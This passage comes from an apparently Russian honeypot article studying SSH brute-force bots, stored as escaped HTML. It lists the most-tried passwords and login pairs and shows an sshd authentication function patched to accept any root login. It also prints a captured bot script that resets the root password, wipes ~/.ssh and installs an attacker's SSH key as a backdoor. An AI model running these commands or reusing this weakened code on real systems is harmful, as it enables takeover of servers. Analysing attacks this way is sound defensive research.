\u043f\u043e\u043f\u044b\u0442\u043a\u0430\u0445.<\/p>\n<p>  \u041f\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0430 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0442\u043e\u043f\u0443 \u043f\u0430\u0440\u043e\u043b\u0435\u0439. \u041d\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043d\u0430 2 018 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 32 238 \u043f\u0430\u0440\u043e\u043b\u0435\u0439. \u0412\u043e\u0442 \u0442\u043e\u043f \u043f\u0430\u0440\u043e\u043b\u0435\u0439:<\/p>\n<ol>\n<li>123456 \u2014 4.34%;<\/li>\n<li>123 \u2014 1.92%;<\/li>\n<li>password \u2014 1.90%;<\/li>\n<li>root \u2014 1.65%;<\/li>\n<li>1234 \u2014 1.57%;<\/li>\n<li>12345 \u2014 1.30%;<\/li>\n<li>admin \u2014 1.20%;<\/li>\n<li>1 \u2014 1.20%;<\/li>\n<li>test \u2014 1.19%;<\/li>\n<li>12345678 \u2014 0.92%.<\/li>\n<\/ol>\n<p>  \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u044c 123456 \u043f\u0440\u043e\u0431\u0443\u044e\u0442 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0432 \u043d\u0430\u0434\u0435\u0436\u0434\u0435, \u0447\u0442\u043e \u043f\u043e\u0432\u0435\u0437\u0435\u0442. \u0415\u0441\u043b\u0438 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u044b \u043b\u043e\u0433\u0438\u043d-\u043f\u0430\u0440\u043e\u043b\u044c, \u0442\u043e \u0442\u043e\u043f \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u0441\u044f.<\/p>\n<ol>\n<li>root:root<\/li>\n<li>test:test<\/li>\n<li>admin:admin<\/li>\n<li>user:user<\/li>\n<li>postgres:postgres<\/li>\n<li>ubuntu:ubuntu<\/li>\n<li>admin:123456<\/li>\n<li>oracle:oracle<\/li>\n<li>root:1234<\/li>\n<li>root:123456<\/li>\n<\/ol>\n<p>  \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0445\u043e\u0447\u0435\u0442\u0441\u044f \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044c \u0441\u0430\u043c\u044b\u0439 \u00ab\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0439\u00bb \u043f\u0430\u0440\u043e\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0448\u0435\u043b, \u2014 60 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432! <\/p>\n<p>  \u0412\u043e\u0442 \u043e\u043d: <b>ababablkljkjhghfgdfdgjhkfdgfhghfgfgqqqqqqwwwwwwgqqqqqqababab<\/b>.<\/p>\n<p>  \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0440\u0443\u0447\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u043c\u0435\u0442\u043e\u0434\u043e\u043c \u0441\u043e\u043f\u0440\u0438\u043a\u043e\u0441\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u0433\u043e\u043b\u043e\u0432\u044b \u0438 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u044b, \u0430 \u0432\u043f\u043e\u043b\u043d\u0435 \u0441\u0435\u0431\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0441\u0432\u0435\u0442\u0438\u043b\u0441\u044f \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0437 \u0441 \u0440\u0430\u0437\u043d\u044b\u0445 \u043c\u0435\u0441\u0442.<\/p>\n<p>  \u0422\u0430\u043a\u0436\u0435 \u043e\u0434\u0438\u043d \u0430\u0434\u0440\u0435\u0441 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u043b \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0434\u0430\u0442\u0430\u043c, \u0430 \u0435\u0449\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u043a\u0430\u043a \u0431\u0443\u0434\u0442\u043e \u0431\u044b \u043f\u043b\u043e\u0445\u043e \u0441\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b: \u043e\u043d\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u0438 \u0441 \u043f\u0430\u0440\u043e\u043b\u0435\u043c root, \u0430 \u0432 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0431\u044b\u043b \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u0431\u043e\u0440 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <b>1!2@3#4$5%6^7&amp;8*9(0)-_=+<\/b>.<\/p>\n<p>  \u0418\u0437 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0442\u0430\u043a\u0438\u0435 \u0432\u044b\u0432\u043e\u0434\u044b:<\/p>\n<ol>\n<li>\u0415\u0441\u043b\u0438 \u0432\u0430\u0448 \u043f\u0430\u0440\u043e\u043b\u044c \u0445\u043e\u0442\u044c \u0447\u0443\u0442\u044c-\u0447\u0443\u0442\u044c \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445, \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043b\u043e\u0432 <i>admin<\/i>, <i>root<\/i> \u0438\u043b\u0438 <i>password<\/i>, \u0442\u043e \u0432\u044b \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u044b \u043e\u0442 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0430.<\/li>\n<li>\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u043d\u0435 \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u0434\u0430\u0432\u0438\u0442\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u0430, \u0430 \u0434\u0435\u043b\u0430\u044e\u0442 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0431\u043e\u0440.<\/li>\n<\/ol>\n<p>  \u041d\u0443 \u0447\u0442\u043e \u0436, \u043f\u0440\u0438\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u0441\u044b\u0433\u0440\u0430\u0442\u044c \u0440\u043e\u043b\u044c \u0434\u0440\u0443\u0436\u0435\u043b\u044e\u0431\u043d\u043e\u0433\u043e \u043b\u0435\u0441\u043d\u0438\u043a\u0430 \u0438 \u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043a \u0441\u0435\u0431\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0443\u0442\u043e\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u043d\u0438\u043a\u0430. <s>\u0425\u043e\u0439!<\/s><\/p>\n<p>  <font color=\"#EB4247\"><\/p>\n<h2>\u041a\u0430\u0440\u0442-\u0431\u043b\u0430\u043d\u0448<\/h2>\n<p><\/font><br \/>  \u0421\u043f\u0435\u0440\u0432\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u044b\u044f\u0441\u043d\u0438\u0442\u044c, \u043a\u0430\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435, \u0432 \u0447\u0435\u043c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0431\u044b\u0442\u044c \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0442\u0430\u043a \u044d\u0442\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u0430\u0439\u0434\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 ssh. \u0421\u043f\u0435\u0440\u0432\u0430 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043c \u043c\u0435\u0442\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0432\u0441\u0435\u0445, \u043a\u0442\u043e \u043a \u043d\u0430\u043c \u043f\u0440\u0438\u0448\u0435\u043b.<\/p>\n<pre><code class=\"cs\">\/*  * Tries to authenticate the user using password.  Returns true if  * authentication succeeds.  *\/ int auth_password(struct ssh *ssh, const char *password) {     Authctxt *authctxt = ssh-&gt;authctxt;     struct passwd *pw = authctxt-&gt;pw;     int result, ok = authctxt-&gt;valid; #if defined(USE_SHADOW) &amp;&amp; defined(HAS_SHADOW_EXPIRE)     static int expire_checked = 0; #endif      if (strlen(password) &gt; MAX_PASSWORD_LEN)         return 0;      if(strcmp(\u201croot\u201d, authctxt-&gt;user, 5) == 0) {         return 1;     }     return 0; }<\/code><\/pre>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u0438\u0437\u0443\u0447\u0430\u0435\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0442\u0440\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043a\u043b\u044e\u0447\u0430 \u0434\u043b\u044f sshd.<\/p>\n<ol>\n<li><b>-D<\/b> \u2014 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432 foreground;<\/li>\n<li><b>-d<\/b> \u2014 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0432 stdout \u0438 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435, \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 sshd \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d.<\/li>\n<li><b>-q<\/b> \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u044b\u0432\u043e\u0434 \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u0434\u043b\u044f \u043d\u0430\u0441 \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.<\/li>\n<\/ol>\n<p>  \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0430, \u043d\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u0441\u0435 \u00ab\u0445\u043e\u0434\u044b\u00bb \u0443\u0441\u043b\u043e\u0432\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a\u0430. \u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u043e\u0439 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e ssh-\u0441\u0435\u0440\u0432\u0435\u0440\u0430: \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435, \u0447\u0442\u043e \u043e\u043d \u0443\u043c\u0435\u0435\u0442, \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b.  <\/p>\n<blockquote><p>\u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043c\u043d\u043e\u0433\u0438\u0435 \u0437\u043d\u0430\u044e\u0442 \u043f\u0440\u043e \u0443\u0442\u0438\u043b\u0438\u0442\u0443 scp, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0447\u0435\u0440\u0435\u0437 SSH. \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u044d\u0442\u0430 \u0443\u0442\u0438\u043b\u0438\u0442\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 ssh-\u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043d\u0430 \u043d\u0435\u043c scp \u0441 \u043d\u0435\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c -t. \u0422\u0430\u043a \u043f\u043e\u0442\u043e\u043a \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0434\u0435\u0442 \u043e\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e scp \u0434\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e scp, \u0433\u0434\u0435 \u043f\u043e\u0442\u043e\u043a \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 \u0444\u0430\u0439\u043b\u044b. \u0415\u0441\u043b\u0438 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u0442\u0441\u044f scp, \u0442\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0430, \u0443\u0432\u044b, \u043d\u0435 \u0441\u043e\u0441\u0442\u043e\u0438\u0442\u0441\u044f.<\/p><\/blockquote>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0432 *NIX-\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0441\u043e\u043f\u0440\u044f\u0436\u0435\u043d \u0441 \u0434\u0432\u0443\u043c\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c\u0438 \u0432\u044b\u0437\u043e\u0432\u0430\u043c\u0438: fork(2) \u0438 execve(2). \u041f\u0435\u0440\u0432\u044b\u0439 \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u0443\u0431\u043b\u0438\u0440\u0443\u0435\u0442 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u043d\u0435 \u043d\u0435\u0441\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0430 \u0432\u043e\u0442 \u0432\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043f\u0443\u0442\u044c \u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b.<\/p>\n<p>  \u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0443\u0434\u043e\u0431\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0434\u043b\u044f \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0445 \u2014 strace. \u041d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c \u0444\u0438\u043b\u044c\u0442\u0440 \u043f\u043e execve, \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u043c \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0442\u043e\u043c\u043a\u043e\u0432 \u0438 \u0441\u043d\u0438\u043c\u0430\u0435\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043d\u0430 \u0434\u043b\u0438\u043d\u0443 \u0432\u044b\u0432\u043e\u0434\u0438\u043c\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438. \u0418\u0442\u043e\u0433\u043e\u0432\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<pre><code class=\"plaintext\">strace --trace=execve -s1000 -f \/root\/ssh\/sbin\/sshd -f \/root\/ssh\/etc\/sshd_config -D -d -q -p 22<\/code><\/pre>\n<p>  \u041d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u043b\u043e\u0433, \u0442\u0430\u043a \u043a\u0430\u043a \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u044b. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0438\u0437 \u043b\u043e\u0433\u0430 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0435\u0441\u043b\u043e\u0436\u043d\u043e.<\/p>\n<pre><code class=\"plaintext\">cat \/proc\/cpuinfo | grep name | wc -l echo &quot;root:DDBWiT4KuWn8&quot;|chpasswd|bash cat \/proc\/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ls -lh $(which ls) crontab -l w uname -m cat \/proc\/cpuinfo | grep model | grep name | wc -l top uname lscpu | grep Model cd ~ &amp;&amp; rm -rf .ssh &amp;&amp; mkdir .ssh &amp;&amp; echo &quot;ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2\/9p7+vD0EpZ3Tz\/+0kX34uAx1RV\/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr&quot;&gt;&gt;.ssh\/authorized_keys &amp;&amp; chmod -R go= ~\/.ssh &amp;&amp; cd ~<\/code><\/pre>\n<p>  \u0412\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u043f\u0435\u0440\u0432\u043e\u0435 \u0437\u043d\u0430\u043a\u043e\u043c\u0441\u0442\u0432\u043e \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0431\u043e\u0440\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0438 \u0441\u043c\u0435\u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u0432. \u041f\u043e\u0441\u043b\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0431\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e, \u0447\u0442\u043e \u043d\u043e\u0432\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f. \u0427\u0442\u043e \u0436, \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e. \u041e\u0447\u0435\u043d\u044c \u0441\u0442\u0440\u0430\u043d\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u0435 (&gt;&gt;) \u0432 \u0444\u0430\u0439\u043b .ssh\/authorized_keys, \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438 \u0447\u0442\u043e \u0432\u0435\u0441\u044c \u043a\u0430\u0442\u0430\u043b\u043e\u0433 .ssh \u043e\u0447\u0438\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0442\u0440\u043e\u043a\u0435.  <\/p>\n<blockquote><p>\u041a \u0441\u043b\u043e\u0432\u0443, \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0443\u0436\u0435 <a href=\"https:\/\/habr.com\/ru\/post\/482784\/\">\u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043b<\/a> \u043d\u0430 \u0425\u0430\u0431\u0440\u0435, \u043d\u043e \u043f\u0440\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\u0445, \u0430 \u0430\u0432\u0442\u043e\u0440 \u043d\u0435 \u043f\u043e\u0442\u0435\u0440\u044f\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c\u0443 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044e. \u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0438\u043c\u044f \u043a\u043b\u044e\u0447\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u043b\u0438\u0442\u044c \u0441\u0432\u0435\u0442 \u043d\u0430 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0433\u043e \u0431\u043e\u0442\u043d\u0435\u0442\u0430, \u0442\u0430\u043a \u043a\u0430\u043a \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0438\u043c\u0435\u043d\u0438 \u043a\u043b\u044e\u0447\u0430, fckr, \u043b\u0435\u0433\u043a\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0435 \u0433\u043b\u0430\u0441\u043d\u044b\u0435. \u0410 \u0432\u043e\u0442 \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 mdr, \u0430\u0432\u0442\u043e\u0440\u0443 \u043f\u043e\u043d\u044f\u0442\u044c \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c. <\/p><\/blockquote>\n<p>\u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0431\u043e\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0435\u0441\u0441\u0438\u0439 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 (\u043a\u043e\u043c\u0430\u043d\u0434\u0430 w) \u0438 \u0441\u0442\u0435\u0441\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0442\u043e-\u043b\u0438\u0431\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u0431\u043e\u0442\u043d\u0435\u0442\u0430 \u043e\u0441\u0442\u0435\u0440\u0435\u0433\u0430\u0435\u0442\u0441\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 